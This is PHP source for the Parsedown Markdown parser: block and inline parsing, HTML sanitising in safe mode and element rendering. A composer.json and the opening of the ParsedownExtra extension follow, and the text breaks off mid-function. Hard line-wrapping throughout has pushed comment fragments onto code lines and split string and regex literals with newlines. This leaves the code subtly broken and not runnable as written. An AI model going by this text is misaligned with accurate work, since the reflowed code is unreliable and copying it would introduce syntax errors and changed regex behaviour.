protected function blockFencedCodeContinue($Line, $Block)
{
if (isset($Block['complete']))
{
return;
}
if (isset($Block['interrupted']))
{
$Block['element']['text']['text']
.= "\n";
unset($Block['interrupted']);
}
if (preg_match('/^'.$Block['char'].'{3,}[
]*$/', $Line['text']))
{
$Block['element']['text']['text']
= substr($Block['element']['text']['text'],
1);
$Block['complete'] = true;
return $Block;
}
$Block['element']['text']['text'] .=
"\n".$Line['body'];
return $Block;
}
protected function blockFencedCodeComplete($Block)
{
$text =
$Block['element']['text']['text'];
$Block['element']['text']['text'] =
$text;
return $Block;
}
#
# Header
protected function blockHeader($Line)
{
if (isset($Line['text'][1]))
{
$level = 1;
while (isset($Line['text'][$level]) and
$Line['text'][$level] === '#')
{
$level ++;
}
if ($level > 6)
{
return;
}
$text = trim($Line['text'], '# ');
$Block = array(
'element' => array(
'name' => 'h' . min(6, $level),
'text' => $text,
'handler' => 'line',
),
);
return $Block;
}
}
#
# List
protected function blockList($Line)
{
list($name, $pattern) = $Line['text'][0] <=
'-' ? array('ul', '[*+-]') :
array('ol', '[0-9]+[.]');
if (preg_match('/^('.$pattern.'[ ]+)(.*)/',
$Line['text'], $matches))
{
$Block = array(
'indent' => $Line['indent'],
'pattern' => $pattern,
'element' => array(
'name' => $name,
'handler' => 'elements',
),
);
if($name === 'ol')
{
$listStart = stristr($matches[0], '.', true);
if($listStart !== '1')
{
$Block['element']['attributes'] =
array('start' => $listStart);
}
}
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$matches[2],
),
);
$Block['element']['text'] []= &
$Block['li'];
return $Block;
}
}
protected function blockListContinue($Line, array $Block)
{
if ($Block['indent'] === $Line['indent'] and
preg_match('/^'.$Block['pattern'].'(?:[
]+(.*)|$)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['li']['text'] []= '';
$Block['loose'] = true;
unset($Block['interrupted']);
}
unset($Block['li']);
$text = isset($matches[1]) ? $matches[1] : '';
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$text,
),
);
$Block['element']['text'] []= &
$Block['li'];
return $Block;
}
if ($Line['text'][0] === '[' and
$this->blockReference($Line))
{
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$text = preg_replace('/^[ ]{0,4}/', '',
$Line['body']);
$Block['li']['text'] []= $text;
return $Block;
}
if ($Line['indent'] > 0)
{
$Block['li']['text'] []= '';
$text = preg_replace('/^[ ]{0,4}/', '',
$Line['body']);
$Block['li']['text'] []= $text;
unset($Block['interrupted']);
return $Block;
}
}
protected function blockListComplete(array $Block)
{
if (isset($Block['loose']))
{
foreach ($Block['element']['text'] as
&$li)
{
if (end($li['text']) !== '')
{
$li['text'] []= '';
}
}
}
return $Block;
}
#
# Quote
protected function blockQuote($Line)
{
if (preg_match('/^>[ ]?(.*)/',
$Line['text'], $matches))
{
$Block = array(
'element' => array(
'name' => 'blockquote',
'handler' => 'lines',
'text' => (array) $matches[1],
),
);
return $Block;
}
}
protected function blockQuoteContinue($Line, array $Block)
{
if ($Line['text'][0] === '>' and
preg_match('/^>[ ]?(.*)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['element']['text'] []=
'';
unset($Block['interrupted']);
}
$Block['element']['text'] []= $matches[1];
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$Block['element']['text'] []=
$Line['text'];
return $Block;
}
}
#
# Rule
protected function blockRule($Line)
{
if
(preg_match('/^(['.$Line['text'][0].'])([
]*\1){2,}[ ]*$/', $Line['text']))
{
$Block = array(
'element' => array(
'name' => 'hr'
),
);
return $Block;
}
}
#
# Setext
protected function blockSetextHeader($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or
isset($Block['interrupted']))
{
return;
}
if (chop($Line['text'], $Line['text'][0]) ===
'')
{
$Block['element']['name'] =
$Line['text'][0] === '=' ? 'h1' :
'h2';
return $Block;
}
}
#
# Markup
protected function blockMarkup($Line)
{
if ($this->markupEscaped or $this->safeMode)
{
return;
}
if (preg_match('/^<(\w[\w-]*)(?:[
]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/',
$Line['text'], $matches))
{
$element = strtolower($matches[1]);
if (in_array($element, $this->textLevelElements))
{
return;
}
$Block = array(
'name' => $matches[1],
'depth' => 0,
'markup' => $Line['text'],
);
$length = strlen($matches[0]);
$remainder = substr($Line['text'], $length);
if (trim($remainder) === '')
{
if (isset($matches[2]) or in_array($matches[1],
$this->voidElements))
{
$Block['closed'] = true;
$Block['void'] = true;
}
}
else
{
if (isset($matches[2]) or in_array($matches[1],
$this->voidElements))
{
return;
}
if (preg_match('/<\/'.$matches[1].'>[
]*$/i', $remainder))
{
$Block['closed'] = true;
}
}
return $Block;
}
}
protected function blockMarkupContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
if
(preg_match('/^<'.$Block['name'].'(?:[
]*'.$this->regexHtmlAttribute.')*[ ]*>/i',
$Line['text'])) # open
{
$Block['depth'] ++;
}
if
(preg_match('/(.*?)<\/'.$Block['name'].'>[
]*$/i', $Line['text'], $matches)) # close
{
if ($Block['depth'] > 0)
{
$Block['depth'] --;
}
else
{
$Block['closed'] = true;
}
}
if (isset($Block['interrupted']))
{
$Block['markup'] .= "\n";
unset($Block['interrupted']);
}
$Block['markup'] .=
"\n".$Line['body'];
return $Block;
}
#
# Reference
protected function blockReference($Line)
{
if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[
]+["\'(](.+)["\')])?[ ]*$/',
$Line['text'], $matches))
{
$id = strtolower($matches[1]);
$Data = array(
'url' => $matches[2],
'title' => null,
);
if (isset($matches[3]))
{
$Data['title'] = $matches[3];
}
$this->DefinitionData['Reference'][$id] = $Data;
$Block = array(
'hidden' => true,
);
return $Block;
}
}
#
# Table
protected function blockTable($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or
isset($Block['interrupted']))
{
return;
}
if (strpos($Block['element']['text'],
'|') !== false and chop($Line['text'], '
-:|') === '')
{
$alignments = array();
$divider = $Line['text'];
$divider = trim($divider);
$divider = trim($divider, '|');
$dividerCells = explode('|', $divider);
foreach ($dividerCells as $dividerCell)
{
$dividerCell = trim($dividerCell);
if ($dividerCell === '')
{
continue;
}
$alignment = null;
if ($dividerCell[0] === ':')
{
$alignment = 'left';
}
if (substr($dividerCell, - 1) === ':')
{
$alignment = $alignment === 'left' ?
'center' : 'right';
}
$alignments []= $alignment;
}
# ~
$HeaderElements = array();
$header = $Block['element']['text'];
$header = trim($header);
$header = trim($header, '|');
$headerCells = explode('|', $header);
foreach ($headerCells as $index => $headerCell)
{
$headerCell = trim($headerCell);
$HeaderElement = array(
'name' => 'th',
'text' => $headerCell,
'handler' => 'line',
);
if (isset($alignments[$index]))
{
$alignment = $alignments[$index];
$HeaderElement['attributes'] = array(
'style' => 'text-align:
'.$alignment.';',
);
}
$HeaderElements []= $HeaderElement;
}
# ~
$Block = array(
'alignments' => $alignments,
'identified' => true,
'element' => array(
'name' => 'table',
'handler' => 'elements',
),
);
$Block['element']['text'] []= array(
'name' => 'thead',
'handler' => 'elements',
);
$Block['element']['text'] []= array(
'name' => 'tbody',
'handler' => 'elements',
'text' => array(),
);
$Block['element']['text'][0]['text'] []=
array(
'name' => 'tr',
'handler' => 'elements',
'text' => $HeaderElements,
);
return $Block;
}
}
protected function blockTableContinue($Line, array $Block)
{
if (isset($Block['interrupted']))
{
return;
}
if ($Line['text'][0] === '|' or
strpos($Line['text'], '|'))
{
$Elements = array();
$row = $Line['text'];
$row = trim($row);
$row = trim($row, '|');
preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/',
$row, $matches);
foreach ($matches[0] as $index => $cell)
{
$cell = trim($cell);
$Element = array(
'name' => 'td',
'handler' => 'line',
'text' => $cell,
);
if (isset($Block['alignments'][$index]))
{
$Element['attributes'] = array(
'style' => 'text-align:
'.$Block['alignments'][$index].';',
);
}
$Elements []= $Element;
}
$Element = array(
'name' => 'tr',
'handler' => 'elements',
'text' => $Elements,
);
$Block['element']['text'][1]['text'] []=
$Element;
return $Block;
}
}
#
# ~
#
protected function paragraph($Line)
{
$Block = array(
'element' => array(
'name' => 'p',
'text' => $Line['text'],
'handler' => 'line',
),
);
return $Block;
}
#
# Inline Elements
#
protected $InlineTypes = array(
'"' => array('SpecialCharacter'),
'!' => array('Image'),
'&' => array('SpecialCharacter'),
'*' => array('Emphasis'),
':' => array('Url'),
'<' => array('UrlTag',
'EmailTag', 'Markup', 'SpecialCharacter'),
'>' => array('SpecialCharacter'),
'[' => array('Link'),
'_' => array('Emphasis'),
'`' => array('Code'),
'~' => array('Strikethrough'),
'\\' => array('EscapeSequence'),
);
# ~
protected $inlineMarkerList = '!"*_&[:<>`~\\';
#
# ~
#
public function line($text, $nonNestables=array())
{
$markup = '';
# $excerpt is based on the first occurrence of a marker
while ($excerpt = strpbrk($text, $this->inlineMarkerList))
{
$marker = $excerpt[0];
$markerPosition = strpos($text, $marker);
$Excerpt = array('text' => $excerpt,
'context' => $text);
foreach ($this->InlineTypes[$marker] as $inlineType)
{
# check to see if the current inline type is nestable in
the current context
if ( ! empty($nonNestables) and in_array($inlineType,
$nonNestables))
{
continue;
}
$Inline =
$this->{'inline'.$inlineType}($Excerpt);
if ( ! isset($Inline))
{
continue;
}
# makes sure that the inline belongs to "our"
marker
if (isset($Inline['position']) and
$Inline['position'] > $markerPosition)
{
continue;
}
# sets a default inline position
if ( ! isset($Inline['position']))
{
$Inline['position'] = $markerPosition;
}
# cause the new element to 'inherit' our non
nestables
foreach ($nonNestables as $non_nestable)
{
$Inline['element']['nonNestables'][] = $non_nestable;
}
# the text that comes before the inline
$unmarkedText = substr($text, 0,
$Inline['position']);
# compile the unmarked text
$markup .= $this->unmarkedText($unmarkedText);
# compile the inline
$markup .= isset($Inline['markup']) ?
$Inline['markup'] :
$this->element($Inline['element']);
# remove the examined text
$text = substr($text, $Inline['position'] +
$Inline['extent']);
continue 2;
}
# the marker does not belong to an inline
$unmarkedText = substr($text, 0, $markerPosition + 1);
$markup .= $this->unmarkedText($unmarkedText);
$text = substr($text, $markerPosition + 1);
}
$markup .= $this->unmarkedText($text);
return $markup;
}
#
# ~
#
protected function inlineCode($Excerpt)
{
$marker = $Excerpt['text'][0];
if (preg_match('/^('.$marker.'+)[ ]*(.+?)[
]*(?<!'.$marker.')\1(?!'.$marker.')/s',
$Excerpt['text'], $matches))
{
$text = $matches[2];
$text = preg_replace("/[ ]*\n/", ' ',
$text);
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'code',
'text' => $text,
),
);
}
}
protected function inlineEmailTag($Excerpt)
{
if (strpos($Excerpt['text'], '>') !== false
and preg_match('/^<((mailto:)?\S+?@\S+?)>/i',
$Excerpt['text'], $matches))
{
$url = $matches[1];
if ( ! isset($matches[2]))
{
$url = 'mailto:' . $url;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'a',
'text' => $matches[1],
'attributes' => array(
'href' => $url,
),
),
);
}
}
protected function inlineEmphasis($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
$marker = $Excerpt['text'][0];
if ($Excerpt['text'][1] === $marker and
preg_match($this->StrongRegex[$marker], $Excerpt['text'],
$matches))
{
$emphasis = 'strong';
}
elseif (preg_match($this->EmRegex[$marker],
$Excerpt['text'], $matches))
{
$emphasis = 'em';
}
else
{
return;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => $emphasis,
'handler' => 'line',
'text' => $matches[1],
),
);
}
protected function inlineEscapeSequence($Excerpt)
{
if (isset($Excerpt['text'][1]) and
in_array($Excerpt['text'][1], $this->specialCharacters))
{
return array(
'markup' => $Excerpt['text'][1],
'extent' => 2,
);
}
}
protected function inlineImage($Excerpt)
{
if ( ! isset($Excerpt['text'][1]) or
$Excerpt['text'][1] !== '[')
{
return;
}
$Excerpt['text']= substr($Excerpt['text'], 1);
$Link = $this->inlineLink($Excerpt);
if ($Link === null)
{
return;
}
$Inline = array(
'extent' => $Link['extent'] + 1,
'element' => array(
'name' => 'img',
'attributes' => array(
'src' =>
$Link['element']['attributes']['href'],
'alt' =>
$Link['element']['text'],
),
),
);
$Inline['element']['attributes'] +=
$Link['element']['attributes'];
unset($Inline['element']['attributes']['href']);
return $Inline;
}
protected function inlineLink($Excerpt)
{
$Element = array(
'name' => 'a',
'handler' => 'line',
'nonNestables' => array('Url',
'Link'),
'text' => null,
'attributes' => array(
'href' => null,
'title' => null,
),
);
$extent = 0;
$remainder = $Excerpt['text'];
if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder,
$matches))
{
$Element['text'] = $matches[1];
$extent += strlen($matches[0]);
$remainder = substr($remainder, $extent);
}
else
{
return;
}
if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[
]+("[^"]*"|\'[^\']*\'))?\s*[)]/',
$remainder, $matches))
{
$Element['attributes']['href'] =
$matches[1];
if (isset($matches[2]))
{
$Element['attributes']['title'] =
substr($matches[2], 1, - 1);
}
$extent += strlen($matches[0]);
}
else
{
if (preg_match('/^\s*\[(.*?)\]/', $remainder,
$matches))
{
$definition = strlen($matches[1]) ? $matches[1] :
$Element['text'];
$definition = strtolower($definition);
$extent += strlen($matches[0]);
}
else
{
$definition = strtolower($Element['text']);
}
if ( !
isset($this->DefinitionData['Reference'][$definition]))
{
return;
}
$Definition =
$this->DefinitionData['Reference'][$definition];
$Element['attributes']['href'] =
$Definition['url'];
$Element['attributes']['title'] =
$Definition['title'];
}
return array(
'extent' => $extent,
'element' => $Element,
);
}
protected function inlineMarkup($Excerpt)
{
if ($this->markupEscaped or $this->safeMode or
strpos($Excerpt['text'], '>') === false)
{
return;
}
if ($Excerpt['text'][1] === '/' and
preg_match('/^<\/\w[\w-]*[ ]*>/s',
$Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
if ($Excerpt['text'][1] === '!' and
preg_match('/^<!---?[^>-](?:-?[^-])*-->/s',
$Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
if ($Excerpt['text'][1] !== ' ' and
preg_match('/^<\w[\w-]*(?:[
]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s',
$Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
}
protected function inlineSpecialCharacter($Excerpt)
{
if ($Excerpt['text'][0] === '&' and !
preg_match('/^&#?\w+;/', $Excerpt['text']))
{
return array(
'markup' => '&',
'extent' => 1,
);
}
$SpecialCharacter = array('>' => 'gt',
'<' => 'lt', '"' =>
'quot');
if (isset($SpecialCharacter[$Excerpt['text'][0]]))
{
return array(
'markup' =>
'&'.$SpecialCharacter[$Excerpt['text'][0]].';',
'extent' => 1,
);
}
}
protected function inlineStrikethrough($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
if ($Excerpt['text'][1] === '~' and
preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/',
$Excerpt['text'], $matches))
{
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'del',
'text' => $matches[1],
'handler' => 'line',
),
);
}
}
protected function inlineUrl($Excerpt)
{
if ($this->urlsLinked !== true or !
isset($Excerpt['text'][2]) or $Excerpt['text'][2] !==
'/')
{
return;
}
if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui',
$Excerpt['context'], $matches, PREG_OFFSET_CAPTURE))
{
$url = $matches[0][0];
$Inline = array(
'extent' => strlen($matches[0][0]),
'position' => $matches[0][1],
'element' => array(
'name' => 'a',
'text' => $url,
'attributes' => array(
'href' => $url,
),
),
);
return $Inline;
}
}
protected function inlineUrlTag($Excerpt)
{
if (strpos($Excerpt['text'], '>') !== false
and preg_match('/^<(\w+:\/{2}[^ >]+)>/i',
$Excerpt['text'], $matches))
{
$url = $matches[1];
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'a',
'text' => $url,
'attributes' => array(
'href' => $url,
),
),
);
}
}
# ~
protected function unmarkedText($text)
{
if ($this->breaksEnabled)
{
$text = preg_replace('/[ ]*\n/', "<br
/>\n", $text);
}
else
{
$text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/',
"<br />\n", $text);
$text = str_replace(" \n", "\n", $text);
}
return $text;
}
#
# Handlers
#
protected function element(array $Element)
{
if ($this->safeMode)
{
$Element = $this->sanitiseElement($Element);
}
$markup = '<'.$Element['name'];
if (isset($Element['attributes']))
{
foreach ($Element['attributes'] as $name =>
$value)
{
if ($value === null)
{
continue;
}
$markup .= '
'.$name.'="'.self::escape($value).'"';
}
}
$permitRawHtml = false;
if (isset($Element['text']))
{
$text = $Element['text'];
}
// very strongly consider an alternative if you're writing an
// extension
elseif (isset($Element['rawHtml']))
{
$text = $Element['rawHtml'];
$allowRawHtmlInSafeMode =
isset($Element['allowRawHtmlInSafeMode']) &&
$Element['allowRawHtmlInSafeMode'];
$permitRawHtml = !$this->safeMode ||
$allowRawHtmlInSafeMode;
}
if (isset($text))
{
$markup .= '>';
if (!isset($Element['nonNestables']))
{
$Element['nonNestables'] = array();
}
if (isset($Element['handler']))
{
$markup .= $this->{$Element['handler']}($text,
$Element['nonNestables']);
}
elseif (!$permitRawHtml)
{
$markup .= self::escape($text, true);
}
else
{
$markup .= $text;
}
$markup .=
'</'.$Element['name'].'>';
}
else
{
$markup .= ' />';
}
return $markup;
}
protected function elements(array $Elements)
{
$markup = '';
foreach ($Elements as $Element)
{
$markup .= "\n" . $this->element($Element);
}
$markup .= "\n";
return $markup;
}
# ~
protected function li($lines)
{
$markup = $this->lines($lines);
$trimmedMarkup = trim($markup);
if ( ! in_array('', $lines) and substr($trimmedMarkup, 0,
3) === '<p>')
{
$markup = $trimmedMarkup;
$markup = substr($markup, 3);
$position = strpos($markup, "</p>");
$markup = substr_replace($markup, '', $position, 4);
}
return $markup;
}
#
# Deprecated Methods
#
function parse($text)
{
$markup = $this->text($text);
return $markup;
}
protected function sanitiseElement(array $Element)
{
static $goodAttribute = '/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/';
static $safeUrlNameToAtt = array(
'a' => 'href',
'img' => 'src',
);
if (isset($safeUrlNameToAtt[$Element['name']]))
{
$Element = $this->filterUnsafeUrlInAttribute($Element,
$safeUrlNameToAtt[$Element['name']]);
}
if ( ! empty($Element['attributes']))
{
foreach ($Element['attributes'] as $att => $val)
{
# filter out badly parsed attribute
if ( ! preg_match($goodAttribute, $att))
{
unset($Element['attributes'][$att]);
}
# dump onevent attribute
elseif (self::striAtStart($att, 'on'))
{
unset($Element['attributes'][$att]);
}
}
}
return $Element;
}
protected function filterUnsafeUrlInAttribute(array $Element,
$attribute)
{
foreach ($this->safeLinksWhitelist as $scheme)
{
if
(self::striAtStart($Element['attributes'][$attribute], $scheme))
{
return $Element;
}
}
$Element['attributes'][$attribute] =
str_replace(':', '%3A',
$Element['attributes'][$attribute]);
return $Element;
}
#
# Static Methods
#
protected static function escape($text, $allowQuotes = false)
{
return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES :
ENT_QUOTES, 'UTF-8');
}
protected static function striAtStart($string, $needle)
{
$len = strlen($needle);
if ($len > strlen($string))
{
return false;
}
else
{
return strtolower(substr($string, 0, $len)) ===
strtolower($needle);
}
}
static function instance($name = 'default')
{
if (isset(self::$instances[$name]))
{
return self::$instances[$name];
}
$instance = new static();
self::$instances[$name] = $instance;
return $instance;
}
private static $instances = array();
#
# Fields
#
protected $DefinitionData;
#
# Read-Only
protected $specialCharacters = array(
'\\', '`', '*', '_',
'{', '}', '[', ']', '(',
')', '>', '#', '+',
'-', '.', '!', '|',
);
protected $StrongRegex = array(
'*' =>
'/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s',
'_' =>
'/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us',
);
protected $EmRegex = array(
'*' =>
'/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s',
'_' =>
'/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us',
);
protected $regexHtmlAttribute =
'[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?';
protected $voidElements = array(
'area', 'base', 'br',
'col', 'command', 'embed', 'hr',
'img', 'input', 'link', 'meta',
'param', 'source',
);
protected $textLevelElements = array(
'a', 'br', 'bdo', 'abbr',
'blink', 'nextid', 'acronym',
'basefont',
'b', 'em', 'big', 'cite',
'small', 'spacer', 'listing',
'i', 'rp', 'del', 'code',
'strike', 'marquee',
'q', 'rt', 'ins', 'font',
'strong',
's', 'tt', 'kbd', 'mark',
'u', 'xm', 'sub', 'nobr',
'sup', 'ruby',
'var', 'span',
'wbr', 'time',
);
}
{
"name": "erusev/parsedown-extra",
"description": "An extension of Parsedown that adds
support for Markdown Extra.",
"keywords": ["markdown", "markdown
extra", "parser", "parsedown"],
"homepage":
"https://github.com/erusev/parsedown-extra",
"type": "library",
"license": "MIT",
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"require": {
"erusev/parsedown": "~1.4"
},
"autoload": {
"psr-0": {"ParsedownExtra": ""}
}
}<?php
#
#
# Parsedown Extra
# https://github.com/erusev/parsedown-extra
#
# (c) Emanuil Rusev
# http://erusev.com
#
# For the full license information, view the LICENSE file that was
distributed
# with this source code.
#
#
class ParsedownExtra extends Parsedown
{
# ~
const version = '0.7.0';
# ~
function __construct()
{
if (parent::version < '1.5.0')
{
throw new Exception('ParsedownExtra requires a later
version of Parsedown');
}
$this->BlockTypes[':'] []= 'DefinitionList';
$this->BlockTypes['*'] []= 'Abbreviation';
# identify footnote definitions before reference definitions
array_unshift($this->BlockTypes['['],
'Footnote');
# identify footnote markers before before links
array_unshift($this->InlineTypes['['],
'FootnoteMarker');
}
#
# ~
function text($text)
{
$markup = parent::text($text);
# merge consecutive dl elements
$markup = preg_replace('/<\/dl>\s+<dl>\s+/',
'', $markup);
# add footnotes
if (isset($this->DefinitionData['Footnote']))
{
$Element = $this->buildFootnoteElement();
$markup .= "\n" . $this->element($Element);
}
return $markup;
}
#
# Blocks
#
#
# Abbreviation
protected function blockAbbreviation($Line)
{
if (preg_match('/^\*\[(.+?)\]:[ ]*(.+?)[ ]*$/',
$Line['text'], $matches))
{
$this->DefinitionData['Abbreviation'][$matches[1]]
= $matches[2];
$Block = array(
'hidden' => true,
);
return $Block;
}
}
#
# Footnote
protected function blockFootnote($Line)
{
if (preg_match('/^\[\^(.+?)\]:[ ]?(.*)$/',
$Line['text'], $matches))
{
$Block = array(
'label' => $matches[1],
'text' => $matches[2],
'hidden' => true,
);
return $Block;
}
}
protected function blockFootnoteContinue($Line, $Block)
{
if ($Line['text'][0] === '[' and
preg_match('/^\[\^(.+?)\]:/', $Line['text']))
{
return;
}
if (isset($Block['interrupted']))
{
if ($Line['indent'] >= 4)
{
$Block['text'] .= "\n\n" .
$Line['text'];
return $Block;
}
}
else
{
$Block['text'] .= "\n" .
$Line['text'];
return $Block;
}
}
protected function blockFootnoteComplete($Block)
{
$this->DefinitionData['Footnote'][$Block['label']] =
array(
'text' => $Block['text'],
'count' => null,
'number' => null,
);
return $Block;
}
#
# Definition List
protected function blockDefinitionList($Line, $Block)
{
if ( ! isset($Block) or isset($Block['type']))
{
return;
}
$Element = array(
'name' => 'dl',
'handler' => 'elements',
'text' => array(),
);
$terms = explode("\n",
$Block['element']['text']);
foreach ($terms as $term)
{
$Element['text'] []= array(
'name' => 'dt',
'handler' => 'line',
'text' => $term,
);
}
$Block['element'] = $Element;
$Block = $this->addDdElement($Line, $Block);
return $Block;
}
protected function blockDefinitionListContinue($Line, array $Block)
{
if ($Line['text'][0] === ':')
{
$Block = $this->addDdElement($Line, $Block);
return $Block;
}
else
{
if (isset($Block['interrupted']) and
$Line['indent'] === 0)
{
return;
}
if (isset($Block['interrupted']))
{
$Block['dd']['handler'] =
'text';
$Block['dd']['text'] .=
"\n\n";
unset($Block['interrupted']);
}
$text = substr($Line['body'],
min($Line['indent'], 4));
$Block['dd']['text'] .= "\n" .
$text;
return $Block;
}
}
#
# Header
protected function blockHeader($Line)
{
$Block = parent::blockHeader($Line);
if (preg_match('/[
#]*{('.$this->regexAttribute.'+)}[ ]*$/',
$Block['element']['text'], $matches,
PREG_OFFSET_CAPTURE))
{
$attributeString = $matches[1][0];
$Block['element']['attributes'] =
$this->parseAttributeData($attributeString);
$Block['element']['text'] =
substr($Block['element']['text'], 0, $matches[0][1]);
}
return $Block;
}
#
# Markup
protected function blockMarkupComplete($Block)
{
if ( ! isset($Block['void']))
{
$Block['markup'] =
$this->processTag($Block['markup']);
}
return $Block;
}
#
# Setext
protected function blockSetextHeader($Line, array $Block = null)
{
$Block = parent::blockSetextHeader($Line, $Block);
if (preg_match('/[
]*{('.$this->regexAttribute.'+)}[ ]*$/',
$Block['element']['text'], $matches,
PREG_OFFSET_CAPTURE))
{
$attributeString = $matches[1][0];
$Block['element']['attributes'] =
$this->parseAttributeData($attributeString);
$Block['element']['text'] =
substr($Block['element']['text'], 0, $matches[0][1]);
}
return $Block;
}
#
# Inline Elements
#
#
# Footnote Marker
protected function inlineFootnoteMarker($Excerpt)
{
if (preg_match('/^\[\^(.+?)\]/',
$Excerpt['text'], $matches))
{
$name = $matches[1];
if ( !
isset($this->DefinitionData['Footnote'][$name]))
{
return;
}
$this->DefinitionData['Footnote'][$name]['count']
++;
if ( !
isset($this->DefinitionData['Footnote'][$name]['number']))
{
$this->DefinitionData['Footnote'][$name]['number'] =
++ $this->footnoteCount; # » &
}
$Element = array(
'name' => 'sup',
'attributes' => array('id' =>
'fnref'.$this->DefinitionData['Footnote'][$name]['count'].':'.$name),
'handler' => 'element',
'text' => array(
'name' => 'a',
'attributes' => array('href'
=> '#fn:'.$name, 'class' =>
'footnote-ref'),
'text' =>
$this->DefinitionData['Footnote'][$name]['number'],
),
);
return array(
'extent' => strlen($matches[0]),
'element' => $Element,
);
}
}
private $footnoteCount = 0;
#
# Link
protected function inlineLink($Excerpt)
{
$Link = parent::inlineLink($Excerpt);
$remainder = substr($Excerpt['text'],
$Link['extent']);
if (preg_match('/^[
]*{('.$this->regexAttribute.'+)}/', $remainder,
$matches))
{
$Link['element']['attributes'] +=
$this->parseAttributeData($matches[1]);
$Link['extent'] += strlen($matches[0]);
}
return $Link;
}
#
# ~
#
protected function unmarkedText($text)
{
$text = parent::unmarkedText($text);
if (isset($this->DefinitionData['Abbreviation']))
{
foreach ($this->DefinitionData['Abbreviation'] as
$abbreviation => $meaning)
{
$pattern = '/\b'.preg_quote($abbreviation,
'/').'\b/';
$text = preg_replace($pattern, '<abbr
title="'.$meaning.'">'.$abbreviation.'</abbr>',
$text);
}
}
return $text;
}
#
# Util Methods
#
protected function addDdElement(array $Line, array $Block)
{
$text = substr($Line['text'], 1);
$text = trim($text);
unset($Block['dd']);
$Block['dd'] = array(
'name' => 'dd',
'handler' => 'line',
'text' => $text,
);
if (isset($Block['interrupted']))
{
$Block['dd']['handler'] = 'text';
unset($Block['interrupted']);
}
$Block['element']['text'] []= &
$Block['dd'];
return $Block;
}
protected function buildFootnoteElement()
{
$Element = array(
'name' => 'div',
'attributes' => array('class' =>
'footnotes'),
'handler' => 'elements',
'text' => array(
array(
'name' => 'hr',
),
array(
'name' => 'ol',
'handler' => 'elements',
'text' => array(),
),
),
);
uasort($this->DefinitionData['Footnote'],
'self::sortFootnotes');
foreach ($this->DefinitionData['Footnote'] as
$definitionId => $DefinitionData)
{
if ( ! isset($DefinitionData['number']))
{
continue;
}
$text = $DefinitionData['text'];
$text = parent::text($text);
$numbers = range(1, $DefinitionData['count']);
$backLinksMarkup = '';
foreach ($numbers as $number)
{
$backLinksMarkup .= ' <a
href="#fnref'.$number.':'.$definitionId.'"
rev="footnote"
class="footnote-backref">↩</a>';
}
$backLinksMarkup = substr($backLinksMarkup, 1);
if (substr($text, - 4) === '</p>')
{
$backLinksMarkup = ' '.$backLinksMarkup;
$text = substr_replace($text,
$backLinksMarkup.'</p>', - 4);
}
else
{
$text .=
"\n".'<p>'.$backLinksMarkup.'</p>';
}
$Element['text'][1]['text'] []= array(
'name' => 'li',
'attributes' => array('id' =>
'fn:'.$definitionId),
'text' => "\n".$text."\n",
);
}
return $Element;
}
# ~
protected function parseAttributeData($attributeString)
{
$Data = array();
$attributes = preg_split('/[ ]+/', $attributeString, - 1,
PREG_SPLIT_NO_EMPTY);
foreach ($attributes as $attribute)
{
if ($attribute[0] === '#')
{
$Data['id'] = substr($attribute, 1);
}
else # "."
{
$classes []= substr($attribute, 1);
}
}
if (isset($classes))
{
$Data['class'] = implode(' ', $classes);
}
return $Data;
}
# ~
protected function processTag($elementMarkup) # recursive
{
# http://stackoverflow.com/q/1148928/200145
libxml_use_internal_errors(true);
$DOMDocument = new DOMDocument;
# http://stackoverflow.com/q/11309194/200145
$elementMarkup = mb_convert_encoding($elementMarkup,
'HTML-ENTITIES', 'UTF-8');
# http://stackoverflow.com/q/4879946/200145
$DOMDocument->loadHTML($elementMarkup);
$DOMDocument->removeChild($DOMDocument->doctype);
$DOMDocument->replaceChild($DOMDocument->firstChild->firstChild->firstChild,
$DOMDocument->firstChild);
$elementText = '';
if
($DOMDocument->documentElement->getAttribute('markdown')
=== '1')
{
foreach ($DOMDocument->documentElement->childNodes as
$Node)
{
$elementText .= $DOMDocument->saveHTML($Node);
}
$DOMDocument->documentElement->removeAttribute('markdown');
$elementText =
